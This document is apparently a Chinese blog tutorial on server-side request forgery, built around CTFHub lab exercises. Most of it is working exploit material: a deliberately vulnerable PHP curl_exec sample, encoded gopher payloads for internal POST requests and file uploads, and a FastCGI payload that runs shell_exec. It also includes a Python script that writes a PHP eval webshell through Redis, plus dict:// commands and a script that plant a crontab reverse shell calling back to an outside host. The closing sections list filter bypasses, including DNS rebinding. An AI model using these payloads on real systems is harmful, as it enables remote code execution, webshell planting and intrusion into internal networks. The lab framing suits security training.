# SSRF (服务端请求伪造)

服务器端请求伪造,由攻击者构造形成由服务端发起请求的一个安全漏洞,也就是通过服务器攻击者可以访问到与服务相连的内网

# 描述:

目标应用程序可能具有从 url 导入数据,将数据发布到 url,篡改 url 读取数据的功能。

攻击者通过提供完全不同的 URL 或通过操纵 URL 的构建方式 (路径遍历等)。服务器段代码获取被操纵的 URL 并尝试将数据读取到 URL, 通过选择目标 URL,攻击者可能能够从未直接暴露在互联网上的服务中读取数据:

  • 云服务器元数据

    • 元数据:描述数据的数据 (数据集的存储位置,数据集的名称。。。)
  • 数据库 HTTP 接口 — NoSQL 数据库(如 MongoDB)在 HTTP 端口上提供 REST 接口。如果预计数据库仅供内部使用,则可能会禁用身份验证,攻击者可以提取数据

    • REST:用 URL 定位资源,用 HTTP 动词( GET,POST,DELETE,PUT )描述操作。
  • 内部 REST 接口

  • 文件 ----file:[//](file:// 读取本地文件) [读取本地文件](file:// 读取本地文件)

攻击者还是可以使用此功能将不受信任的数据导入代码中,这些代码中只希望从受信任的数据来源中读取数据,从而绕过输入验证

# 漏洞代码实例:

<?php 
error_reporting(0);
highlight_file(__FILE__); 
$url=$_POST['url']; 
$ch=curl_init($url);  // 初始化一个 curl 会话
curl_setopt($ch, CURLOPT_HEADER, 0); // 设置选项值
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$result=curl_exec($ch); // 执行 cURL 会话
curl_close($ch); // 关闭 curl 会话,释放所有资源
echo ($result); 
?>

接受的 url参数 利用 curl_exec 执行访问 url

  • 形成漏洞的原因:

服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制

ssrf

攻击利用:

  • 可以对外网,服务器所在内网,本地进行端口扫描获取一些服务的 banner 信息
  • 攻击运行在内网或本地的应用程序 (如溢出);
  • 对内网的 web 应用进行 指纹识别 ,通过访问 默认文件 进行实现攻击内外网的 web应用 ,主要是使用 get参数 就可以实现的攻击利用 file协议 读取本地文件等
  • 可能存在攻击的地方:
  • 分享:通过 url地址 分享网页内容
  • 转码服务
  • 在线翻译图片加载与下载:通过 url加载 和下载图片
  • 图片文章收藏功能
  • 未公开的 api 实现以及其他使用 URL 的功能
  • 从 URL 关键字中寻找 share,wapurl,link,srcsource,target,displaysourceURL,imageURl,domain /etc/password

# ssrf 的协议

类型;

file:///
dict://
sftp://
ldap://
tftp://
gopher://

# file://

file:///etc/password

尝试从文件系统中获取文件 (读取本机文件)

file协议读取本地文件

# gopher://

信息查找系统,它将 internet 上的文件组织成某种索引

gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,在构成符合 gopher 协议的请求。gopher 协议是 ssrf 利用中最强大的协议

限制:

img

–wite-curlwrappers:运用 curl 工具打开 url 流

curl 使用 curl --version 查看版本以及支持的协议

# Gopher 协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  • gopher 默认端口是 70
  • 如果发起 post 请求,回车换行需要使用 %0d%0a,如果多个参数,参数之间的 & 也需要进行 URL 编码

# Gopher 发送请求

  1. # 发送数据:

使用 Gopher 协议发送一个请求,环境为:nc 起一个监听, curl 发送 gopher 请求

1-1. nc 监听 2333 端口

nc -lp 2333

nc监听

1-2. 使用 curl 协议发送 http 请求

curl gopher://yourip:2333/abcd

接收数据

接受到的字符串短一个‘a’

curl gopher://yourip:2333/_abcd

首字母缺失

  • 可以看到,需要在传送的字符串前面任意加一个字符串

那么,怎么发送 GET 请求?需要以下三步

  1. 构造 HTTP 数据包

  2. URL 编码、替换回车换行为 %0d%0a

  3. 发送 gopher 协议

  4. # 发送 GET 请求

2-1. 首先准备代码接收 GET 请求

<?php
highlight_file(__FILE__);
echo "Hello ".$_GET["name"]."\n"
?>

2-2. 构造 GET 型数据请求包

GET /?name=chenluo HTTP/1.1
Host: xx.xxx.xxxx.xx:666

URL 编码:

GET%20%2F%3Fname%3Dchenluo%20HTTP%2F1.1%0AHost%3A%20xx.xxx.xxx.xxx%3A666

构造请求:

curl gopher://xx.xxx.xxx.xx:666/_GET%20%2F%3Fname%3Dchenluo%20HTTP%2F1.1%0AHost%3A%2039.105.134.199%3A666%0d%0A

curl发送gopher协议包

注意:

  1. 问号(?)需要转码为 URL 编码,也就是 %3f
  2. 回车换行要变为 %0d%0a, 但如果直接用工具转,可能只会有 %0a
  3. 在 HTTP 包的最后要加 %0d%0a,代表消息结束(具体可研究 HTTP 包结束)

必须格式:

  • 注意:

    • 在使用 Gopher 协议发送 POST 请求时, host,content-Type和content-Length 请求头时必不可少的,但是在 GET 请求中可以没有。
    • content-length 的值必须与 post数据 对应相等
  • POST / HTTP/1.1
    Host: 39.105.134.199:666
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11
    url=chenluo
  • url 编码:

  • curl gopher://39.105.134.199:666/_POST%20%2F%20HTTP%2F1.1%0AHost%3A%2039.105.134.199%3A666%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2012%0A%0Aname%3Dchenluo%0A

gopher的post请求

ssrf 攻击流程:

ssrf流程

# ssrf 端口扫描:

ctfhub:

<ip 地址>:< 端口号 >,抓包,针对端口号进行爆破

?url=127.0.0.1:8000

# ssrf 发送 Post 请求

ctfhub 的 post 请求

curl ,利用 gopher 协议,发送 post 请求:

  • 构造数据包:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=86d5defb626699906d937f2777700925

进行两次 url 编码,php 接收参数会解码一次,curl 又会解码

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D86d5defb626699906d937f2777700925`

注意:

* 第一次编码之后%0A需要替换成%0D%0A
* 这里要加上80端口号

# ssrf 文件上传:

  1. 访问 [file:///var/www/html/flag.php](file:///var/www/html/flag.php),添加提交按钮

添加按钮

  1. 捕获 post 数据包:

post数据

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--

进行第一次 url 编码,将 %0A 换成 %0D%0A:

?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Length%3A%20292%0D%0AContent-Type%3A%20multipart/form-data%3B%20boundary%3D----WebKitFormBoundary1lYApMMA3NDrr2iY%0D%0A%0D%0A------WebKitFormBoundary1lYApMMA3NDrr2iY%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%22test.txt%22%0D%0AContent-Type%3A%20text/plain%0D%0A%0D%0ASSRF%20Upload%0D%0A------WebKitFormBoundary1lYApMMA3NDrr2iY%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22submit%22%0D%0A%0D%0A%E6%8F%90%E4%BA%A4%0D%0A------WebKitFormBoundary1lYApMMA3NDrr2iY--

再进行 url 编码

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--`

# ssrf-fastcgi 协议:

cgi+fastcgi 讲解

fastcgi 利用

  • CGI 是一种协议,规定了服务器交给 语言解析器 的数据形式
  • 对于请求静态页面服务器会直接获取到对应的页面,返回到客户的浏览器
  • 对于向 .php 这样的动态页面,服务器在把数据反回答浏览器的时候可能会处理一下要请求的页面 比如GET请求,POST请求 ,处理的过程就是交给 fast-cgi程序 来处理的也称为语言解析器
  • php-cgi 应用程序 解析 php 语言, php-fpmphp-fastcgi 的管理器,管理对象是 php-cgi进程

# 利用原理:

cgi 处理端口是暴露在公网 9000端口 的,我们可以通过构造自己的 cgi数据报 打到 9000 端口, php-cgi 会处理数据报中 script_filename 指定的 php 文件,由于我们没有上传特定的 php 文件,只能利用系统自带的 php 文件,修改其中配置 ( auto_prepend_file ), 在执行系统自带 php文件 的同时执行 auto_prepend_file 所指定的文件 (无法上传文件,我们用 php://input 代替),这也就执行了 POST 的内容

本地监听 9000 端口,因为 fastcgi 默认监听

nc -lvp 9000 > 1.txt`

新开一个命令行,执行下面命令:

python fpm.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php

利用上面的 url脚本 进行编码之后再编码,加上 gopher 协议

gopher://127.0.0.1:9000/_%2501%2501%2542%2549%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2542%2549%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2533%2537%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%2554%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%2542%2549%2500%2500%2500%2500%2501%2505%2542%2549%2500%2525%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2568%2565%256c%256c%255f%2565%2578%2565%2563%2528%2527%256c%2573%2520%252f%2527%2529%2529%253b%253f%253e%2501%2505%2542%2549%2500%2500%2500%2500`

fpm.py

url.py

# ssrf-redis 协议

redis 服务,tcpdump 监听端口数据,抓包查看,发现相关数据流:

redis服务抓包

开启 redis 服务

redis-server

开启 redis 客户端:

redis-cli

得到当前配置路径:

config get dir #这里的目录之前被修改过

redis配置路径

得到当前数据存放文件:

config get dbfilename #这里的文件之前被修改过

可以再开一个 shell,看一下这个文件存放的内容

现在,在连接 redisshell 中,输入命令,断开连接

set php "<?php phpinfo();?>"
save

再次查看 /var/www/html/shell4.php ,

通过修改 redis文件配置 ,使得数据存放位置以及数据存放的文件名可控制

surf-redis

from urllib import parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\r\n<?php eval($_POST[1])?>\r\n"
filename = "shell4.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
       "set 1 {}".format(shell.replace(" ","aaa")),#设置命令
       "config set dir {}".format(path),#设置目录
       "config set dbfilename {}".format(filename),#设置文件名
       "save"#保存到指定的文件
]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))#需要密码的时候插入密码
payload = protocol+ip+":"+port+"/_"
def redis_format(arr):#将命令数据转换成符合协议的格式
    CRLF ="\r\n"#设置回车换行
    redis_arr = arr.split(" ")#以空格为间隔,分成列表
    cmd=""
    cmd+="*"+str(len(redis_arr))#回复数组前面加 * 以及回复数组的长度
    for x in redis_arr:#遍历数组
        cmd+=CRLF+"$"+str(len((x.replace("aaa"," "))))+CRLF+x.replace("aaa"," ")#每个命令和数据之间都有回撤和换行,replace 主要是为了替换一句话中的空格,因为一句话不能被分成多个数据
    cmd+=CRLF#最后也是回车和换行
    return cmd
if __name__=="__main__":
    for x in cmd:
        payload +=parse.quote(redis_format(x))
    print(payload)

构成 redis数据包 ,直接用 curl 发过去,就会在自己设置的目录和文件中放入一句话

# dict://

  • 判断是否开启某些服务
curl dict://192.168.220.16:6379/

证明开启了 redis服务

  • 利用 dict协议 执行命令,获取变量

  • dict 协议利用 redis 反弹 shell

本地监听 6666 端口:

nc -l 6666

利用 dict 执行命令:

curl dict://192.168.220.16:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.1/6666 0>&1\n\n"
curl dict://192.168.220.16:6379/config:set:dir:/etc/
curl dict://192.168.220.16:6379/config:set:dbfilename:crontab
curl dict://192.168.220.16:6379/bgsave

因为特殊字符的原因无法写入到目标的 redis 中,被空格所分割导致

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from urllib import parse
import urllib,binascii
#url = "http://192.168.220.1/ssrf/base/curl_exec.php?url="
target = "dict://192.168.220.16:6379/"
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.220.1/6666 0>&1\\n\\\\"',
       "config:set:dir:/etc/",
       "config:set:dbfilename:crontab",
       "bgsave"]
for cmd in cmds:
    cmd_encoder = ""
    for single_char in cmd:
        # 先转为 ASCII
        cmd_encoder += hex(ord(single_char)).replace("0x","")
    cmd_encoder = binascii.a2b_hex(cmd_encoder)
    cmd_encoder = parse.quote(cmd_encoder,'utf-8')
    print(cmd_encoder)
    #payload = url + target + cmd_encoder
    #print payload

执行的时候报错

查看 日志 报错

img

显然提示没有打开文件 /etc/crontab 的权限,如果是 centos 系统应该可以成功

# ssrf 中的绕过:

# URLBypass:

  • 最常见的要求是 url 中必须包含某些固定的字符,但是我们访问的地址又没有这些字符:

    • 绕过方式
    • ssh
http://user:passwd@url/index.php

user 可以改成所要求的字符,之后加上 @ 后面加上目标的 url 地址

# 数字 IPBypass:

  • 不让使用 127.0.0.1 , 可以将其转换成 16 进制和 10 进制 8 进制

    • 16 进制:0x7f.00.00.01
    • 8 进制:0177.000.000.001
    • 10 进制:127.0.0.1

# 302 跳转绕过:

?url=surl-2.cn/0nPI #http://127.0.0.1/flag.php

# DNS 重绑定

浅谈 DNS 重绑定

DNS 服务器解析到域名对应的 IP 之后,返回给浏览器,经过很短的时间,该域名对应的 IP 地址被替换,当浏览器再次请求解析域名的时候,如果本地域名服务器还记得该域名对应的 IP 就会用之前解析过的 IP。如果不记得,当他再次寻求域名解析服务器的时候,就会得到新的解析结果也就是新的 IP 地址。本地服务器对该域名解析记录的记忆是服务器可控制的,也就是域名持有者可以控制

DNS 重绑定测试网站:

可以让一个域名绑定两个网址

# 具体步骤

  1. 攻击者控制恶意的 DNS 服务器来回复域的查询,如 rebind.network
  2. 攻击者通过一些方式诱导受害者加载 http://rebind.network
  3. 用户打开链接,浏览器就会发出 DNS 请求查找 rebind.network 的 IP 地址
  4. 恶意 DNS 服务器收到受害者的请求,并使用真实 IP 地址进行响应,并将 TTL 值设置为 1 秒,让受害者的机器缓存很快失效
  5. http://rebind.network 加载的网页包含恶意的 js 代码,构造恶意的请求到 http://rebind.network/index, 而受害者的浏览器便在执行恶意请求
  6. 一开始的恶意请求当然是发到了攻击者的服务器上,但是随着 TTL 时间结束,攻击者就可以让 http://rebind.network 绑定到别的 IP, 如果能捕获受害者的一些放在内网的应用 IP 地址,就可以针对这个内网应用构造出对应的恶意请求,然后浏览器执行的恶意请求就发送到了内网应用,达到了攻击的效果
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

尘落 微信支付

微信支付

尘落 支付宝

支付宝

尘落 贝宝

贝宝